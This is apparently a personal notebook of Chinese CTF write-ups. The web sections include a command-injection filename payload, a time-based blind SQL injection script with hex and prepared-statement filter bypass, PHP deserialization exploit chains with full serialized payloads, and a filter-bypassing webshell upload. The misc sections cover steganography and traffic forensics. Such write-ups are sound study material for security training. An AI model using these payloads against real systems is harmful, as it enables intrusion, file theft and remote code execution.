/被过滤了,使用cd ..
1
filename=";ls;#"​                ="cd ..;ls;#"  切换目录​                ="cd ..;cat wenjianming;#"
1
存在堆叠注入的判断方法:名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。根据判断方法,当我们在 username 输入 admin'或者 admin;' 提示报错username 输入 admin 或者admin'; 报错消失

通过mysql预处理与hex绕过过滤来构建脚本

1
#author: c1e4rimport requestsimport jsonimport timedef main():    #题目地址    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''    #注入payload    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"    flag = ''    for i in range(1,30):        #查询payload        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"        for j in range(0,128):            #将构造好的payload进行16进制转码和json转码            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}            data = json.dumps(datas)            times = time.time()            res = requests.post(url = url, data = data)            if time.time() - times >= 3:                flag = flag + chr(j)                print(flag)                breakdef str_to_hex(s):    return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':    main()

注入过程没有特殊回显常见词被过滤用16进制+mysql预处理来绕过加上时间盲注进行绕过

1
2
3


sql: select hex('select sleep(5)');

下载到源码:前端的应用逻辑基础一般在contraller文件夹下

1
/Controller/BaseController.php....public function loadView($viewName ='', $viewData = []){   $this->viewPath = BASE_PATH . "/View/{$viewName}.php";   if(file_exists($this->viewPath))   {      extract($viewData);      include $this->viewPath;   }}

loadview方法使用了extract 和include了一个文件

只要viewdata可控 就能覆盖掉this->viewpath文件中的某些变量 而且这个是要返回给客户的

1
/Controller/UserController.phppublic function actionIndex(){    $listData = $_REQUEST;    $this->loadView('userIndex',$listData);}

这边存在对viewdata完全可控的地方

1
.......                if(!isset($img_file)) {                    $img_file = '/../favicon.ico';                }                $img_dir = dirname(__FILE__) . $img_file;                $img_base64 = imgToBase64($img_dir);                echo '<img src="' . $img_base64 . '">';       //图片形式展示                ?></div>        </div>    </div></div></body></html><?phpfunction imgToBase64($img_file) {                return $img_base64; //返回图片的base64}?>

读取$img_file 的内容 以base64输出 imgfile通过extract(viewdata)变量覆盖漏洞完全控制

1
2
3
,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。

所以可以通过访问img_file= 来获取文件

杂项杂项

[RCTF2019]disk

一个vmdk文件试着用vol但是识别不了 可能时加密盘之类的
FTK挂载也没用 将里头的文件提取出来0.fat
https://sourceforge.net/projects/veracrypt/ 找了一个用来挂载加密盘的软件
然后猜测密码 rctf 挂成功了但是password.txt 说还有另一个密码

316.PNG

317.PNG

另一个密码挂载但是打不开磁盘

先不管吧原本的0.fat丢进010 找到一半flag

315.PNG

另一半应该也得从刚才挂载的那个进不去的盘获取

1
2
3
weinhex可以打开磁盘文件 tools->open disk 


另一半flag

318.PNG

我爱Linux

1
图片直接丢010 发现末尾那一堆有点奇怪  

319.PNG

看了别人的wp这是python的pickle序列化

1
序列化是将对象转换为可通过网络传输或可以存储到本地磁盘的数据格式(如:XML、JSON或特定格式的字节串)的过程称为序列化;反之,则称为反序列化。 

320.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

with open('1.txt', 'rb') as f:
f= pickle.load(f)
data = list()
for i in range(len(f)):
tem = [' ']*100
data.append(tem)
for i, j in enumerate(f):
for m in j:
data[i][m[0]] = m[1]
for i in data:
print(''.join(i))

跑脚本

321.PNG

[GKCTF 2021]签到

流量分析 追踪tcp流
流3这边 post了一个whoami

322.PNG

将返回的东西复制出来解密一下

是倒着的www-data

323.PNG

然后流5有cat flag 将这个流复制出来

1
2
然后用kali的rev 进行倒序
cat 1 | rev

之后就是hex 和base64 就可以了
然后删掉一半的flag即可

324.PNG

[BSidesSF2019]table-tennis

又是流量分析
加密的tls 和找不到半点信息的tcp 但是吧意外的找到了icmp流 而且还带有html的标签

325.PNG

将这些数据提取出来

1
2
3
4
5
6
7
8
from scapy.all import *

packets = rdpcap('out.pcapng') #rdpcap()读取pcapng文件

for packet in packets: #遍历每一个数据包
if packet.haslayer(ICMP): #haslayer()判断数据包的类型,此处为ICMP
if packet[ICMP].type == 0: #每一个ICMP的type值为0的包
print packet[ICMP].load[-8:], #打印每个数据包的最后8位,因为前面数据是重复的

base64一下即可

326.PNG

很好的色彩呃?

每个颜色多多少少有些不同 ps的取色器 查看一下 每个的低位不太一样
取出来 hex转字符即可

329.PNG

[INSHack2019]gflag

题目叫gflag 有个g 然后还给了一堆类似于坐标的
综合搜索一下

1
gcode  https://gcode.ws/ 3d打印的坐标 很神奇

用那个网站解一下 得先把文件改一下格式.gcode 就可以了

330.PNG

有word的题目一定要先显示一下隐藏的内容!!!!

ext4 格式的文件 可以用extundelete 恢复试一下 进入恢复的文件夹 打开里头的文件说不定就有flag

331.PNG

332.PNG

[INSHack2018]42.tar.xz

大量的压缩包 一个包内套42个包 直接解压可能会炸硬盘
网上找了个bash命令

1
while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;

解压到最后就有flag了 很神奇

333.PNG

文件分离:
zsteg分析(分析图片的) binwalk foremost

[NPUCTF2020]碰上彩虹,吃定彩虹!

两个文档一个不知道是什么的文件
那个maybehint的文档复制内容粘贴到别的发现长度多了很多 宽字节隐写 但是得用vim打开看看隐了些什么336.PNG

bcd的所以
https://330k.github.io/misc_tools/unicode_steganography.html 这底下选择bcd的

335.PNG

ntfs流隐写 用软件导出一个out.txt 乱七八糟不像base64隐写 字频统计一下

337.PNG

base64解一下出现较多的那串

提示encrypto 那那个secret应该和这个有关 随便加密一个文件 然后文件头和secret一模一样那么secret的格式就是crypto

338.PNG

339.PNG

还要密码啊 那只能是那个loocatme了 全选发现了不对劲的东西 看样子又是莫斯电码
空格当点 tab当杠一个个解出来

340.PNG

翻译一下就是autokey 用autokey脚本跑一下 拿到密码iamthepasswd

342.PNG

然后解密secret那个文件 但是吧解不出来 因为文件被添加了一串东西

用kali的strings命令可以找到 用010把那串删了就可以解出来

343.PNG

然后又是颜色题目照样提取一下颜色的0x值
从上到下依次是:
ffff70
ffff40
ffff73
ffff73
ffff57
ffff64

1
hex转字符的得到p@ssWd

把刚才的图片分离一下拿到压缩包用那个密码解压拿到word文档然后就是word的老传统显示隐藏字符
大写字母组成alphuck

344.PNG

https://www.dcode.fr/alphuck-language
把word里的那一长串删掉大写字母后复制进去 就能拿到flag了

345.PNG

1
2
3
0192h: 05 70 6C 61 69 6E DA 06 63 69 70 68 65 72 DA 01  .plainÚ.cipherÚ. 
01A2h: 69 A9 00 72 0A 00 00 00 FA 08 63 79 63 6C 65 2E i©.r....ú.cycle.
01B2h: 70 79 DA 06 65 6E 63 72 79 74 pyÚ.encryt

有这种的可能是pyc文件 用那个剑龙加密 stegosaurus工具

1
stegosaurus.py -x pyc文件

文本比较 可能会在原文本里面添加flag进去 所以重点是找得到原文本

deep sound 用来往音频中隐藏东西

[De1CTF2019]Mine Sweeping

将Assembly-CSharp.dll文件拖进dnspy分析源码
(文件路径为\Mine Sweeping\Mine Sweeping_Data\Managed) 游戏题可以改一改试试

lsb加密脚本使用方法:

1
2
3
4
5
6
# 使用方法Usage:

lsb.py hide <img_file> <payload_file> <password>
lsb.py extract <stego_file> <out_file> <password>
lsb.py analyse <stego_file>

1
条形码的题目可以用ps的ctrl + t 拉伸

[GKCTF 2021]0.03

压缩包打开有三个文件但是解压后只有两个 盲猜ntfs流
俩文档对比 然后这边这个压缩包说是disk但是解压也解压不了 那应该是经过卷加密了 VeraCrypt这个软件加密的应该

重点是两个文档之间的对比 311可能是第三行第一组的第一个 也可能是第三列第一组第一个

346.PNG

一一对比一下拿到两组密码:
UBMMASSJJMU
EBCCAFDDCE

347.PNG

然后那个软件输入密码加载一下磁盘就有flag了

GYCTF2020Easyphp

源码泄露 www.zip

login.php 过滤了一堆的关键字

1
2
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");

重点在

1
lib.php update.php实例化一个user然后只要session['login']===1就可以有flag

update.php里判断没有登录后会继续执行$user()->update() 所以应该得从update.php那边传参

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

先反序列化getNewinfo()返回值 调用updatehelper

1
2
3
4
5
6
getNewinfo :
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

传入agenickname然后返回safe处理后的**Info()**序列化结果

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
safe将一些关键字替换成hacker 这强行替换会造成额外读取 就可以控制了

Info类是简单的赋值 当调用一个不存在的方法时会调用CtrlCase->login()
UpdateHelper类的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

使用newinfo和sql构造 销毁时又会显示sql 正常登录后newInfo应该时admin用户id sql应该在Info类所以$this->sql为空
现在看来就剩下一个了,通过某种方法得到admin的密码,登录得到flag。而要得到flag,很明显只有通过SQL。

1
Info类的__call方法很明显要我们调用dbCtrl的login()方法,让我们任意执行SQL语句。得到admin用户的SQL语句不难写select password,username from user where username=?,因为login()返回的是idResult,第一个结果。Info的__call如何别触发?

User类,update()函数用到了Info类,UpdateHelper也用到了,但是这些都没有涉及到方法的调用,然后我们就看到了_ _toString()方法:

1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
1
nickname unserialize(getNewInfo())得到的 如果nickname是info类,nickname->update就会触发info的_ _call _ _tostring需要一个输出字符串的地方才会被调用 UpdatHelper的__destruct 会echo this->sql User类中UpdateHelper的调用中\)Info会被赋值成$this->sql。
1
2
new UpdateHelper(),调用__destruct(),转向new User()的__toString(),调用nickname->update(),转向new Info()的__call,最终转向new dbCtrl()带出admin的密码 发序列化出updateHelper的类
输入点是getNewInfo()引入Info类 要将updatehelper类放入info中就调用__destruct时 在正常调用正常调用User()->update()的时候Info->CtrlCase没有任何意义 把Info->CtrlCase设置成UpdateHelper类?unserialize()结束后由于没有用到CtrlCase,所以会执行__destruct

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

class User
{
public $id;
public $age = null;
public $nickname = null;
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;

public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}

}

Class UpdateHelper
{
public $id;
public $newinfo;
public $sql;

public function __construct($newInfo, $sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}

}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name = "admin";
public $password;
public $mysqli;
public $token = "admin";

}

$db = new dbCtrl();
$user = new User();
$info = new Info("23333", "Tiaonmmn");
#echo serialize($info);
$updatehelper = new UpdateHelper("1", "");

$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from username where username=?";
$updatehelper->sql = $user;
#echo serialize($updatehelper);
$realinfo = new Info("233333", "Tiaonmmn");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);


生成符合getNewInfo的序列了
输入age和nickname参数,CtrlCase没办法传进去 return的时候有个safe函数简单地替换了字符,把相应字符串替换成hacker,那么原来序列化的字符串就有相当大的几率被破坏掉,PHP序列化时计算的字符串长度与实际字符串长度不对应,就可以逃逸出来插入想要的内容了

update.php 那边

1
2
post:
age=1&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:5:"23333";s:8:"nickname";s:8:"Tiaonmmn";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

提交就会返回admin的MD5,注意最后面加上了一个“0-0”。 解密就可以登录,拿到flag了。

红明谷CTF 2021write shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

正则匹配过滤了一些

1
action=pwd可以获取当前路径 =upload则将data写入该路径的index.php

288.PNG

php被过滤了可以用

1
短标签绕过 <?= ?>
空格被过滤了可以用\t 来替代
1
2
3
4
没有过滤反引号 ` 用这个来执行命令
?action=upload&data=<?=`ls\t/*`?> 获取到一大堆的文件

?action=upload&data=<?=`cat\t/flllllll1112222222lag`?> 拿到flag

289.PNG

page

首先来注册一个题目说了upload那么应该不会是sql就不管了
然后上传图片马 上传过程抓包能发现user=后面那串怪怪的

解码一下可以看到上传路径和其他的序列化信息

281.PNG

然而没有那么容易连接 也上传不了htaccess

282.PNG

283.PNG

1
2
扫后台拿到www.tar.gz 
用phpstorm打开发现俩断点hint

application/web/controller/Index.php 里的:

284.PNG

首先访问大部分页面例如 index 都会调用 login_check 方法。
该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
application/web/controller/Register.php 里的:

285.PNG

Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。
上传逻辑那边 先检查是否登录然后判断存在文件否 获取后缀 解析图片判断是否为正常图片 再从历史文件拷贝到目标路径

1
profile.php有_call和_get 俩魔术方法

286.PNG

这俩加上反序列化和析构函数的调用,结合起来就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名。构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。

1
然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;


public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

class Register
{
public $checker;
public $registed;

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0164d104d6e1a09295cfb0c7c7aa9d2/75c168b671d4ce827fca23907d85f114.png";
$profile->filename = "./upload/e0164d104d6e1a09295cfb0c7c7aa9d2/75c168b671d4ce827fca23907d85f114.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

运行这个生成新的序列
把cookie发过去 访问那个目录可以成功解析

287.PNG

然后蚁剑连接就可以了

长城杯flag保熟

flag保熟吗?

一个压缩包 解压的到两张图和加密的包

图的末尾有额外的数据是个rar的包 提取出来解压缩 然后From Hexdump
得到如下内容

b1.PNG

前16个字符为Vm0wd2QyUXlVWGx
把原本的压缩包进行提取拿到一个password.xls 打开

b2.PNG

并不是按照横着或者竖着读取的 按照希尔伯特曲线的样子进行读取 (比赛那会就到这不会写脚本了 (;′⌒`))

b3.png

上脚本

1
2
3
4
5
6
7
8
9
10
11
import numpy as np
from hilbertcurve.hilbertcurve import HilbertCurve
import pandas as pd
arr = pd.read_excel('./password.xls',header=None)

hilbert_curve = HilbertCurve(17, 2) #这边这个十七按之前理解强网杯三体那题表格是256*256 2^8=256 应该是8才对,但是8生成的数据等号没有都在末尾
s = ''
for i in range(np.size(arr)):
[x,y] = hilbert_curve.point_from_distance(i)
s += str(arr[y][x])
print(s)

生成的数据另存为文本文档 (先把末尾的等号删的只剩两个)

然后解base64

1
2
3
4
5
6
with open("flag.txt",'r') as f:
a = f.read()
import base64
while True:
a = base64.b64decode(a)
print(a)

b4.PNG

得到压缩包密码 flag.php打开一堆的brain fuck 但是正常网站解密一直error
这个是brainfuck 的栈还是什么的
https://www.nayuki.io/page/brainfuck-interpreter-javascript 可以观察brainfuck的栈,将整⼀个brainfuck全都扔进去。

b7.PNG

b6.PNG

数字提取出来然后十进制转ascii
u o z t { S r R y v i g _ X f i e v _ 1 H _ 4 _ e e 0 m w v i u f ! _ x f i e v } e r r o r

交给cyber chief自动识别 然后就拿到flag了

b8.PNG

第五空间misc

alpha10

alpha10
分离文件得到两个图片 这种有两张一模一样的图正常是盲水印

1
https://github.com/chishaxie/BlindWaterMark.git  软件地址

软件使用命令

1
python3 bwmforpy3.py decode /home/kali/desktop/shift/123/output/jpg/BlindWaterMark-master/00001404.jpg /home/kali/desktop/shift/123/output/jpg/BlindWaterMark-master/00001537.png flag.png

得到新的图片图上就有flag

c1.PNG

慢慢看或者调色一下就可以了

BabyMi

这是usb数据 先用tshark将数据提取出来

1
tshark -r usb.pcap -T fields -e usb.capdata >b.txt 

然后拿到一个五百多兆的b.txt ┌(。Д。)┐
一堆的十六进制数据然后发现写磁盘结构

1
2
3
4
5
6
7
8
9
from binascii import unhexlify
f=open("b.txt","r")
diskfile=f.readlines()
filecode=""
for a in diskfile:
if len(a) !=1:
filecode+=unhexlify(a[:-1])
g=open("disk","wb")
g.write(filecode)

python2运行 运行时间可能有点长
r-studio扫描生成的磁盘文件能找到一个MP4

rstudio配置有点麻烦

https://blog.csdn.net/weixin_41792162/article/details/108050078 这个挺详细的

c2.PNG

打开里头就有flag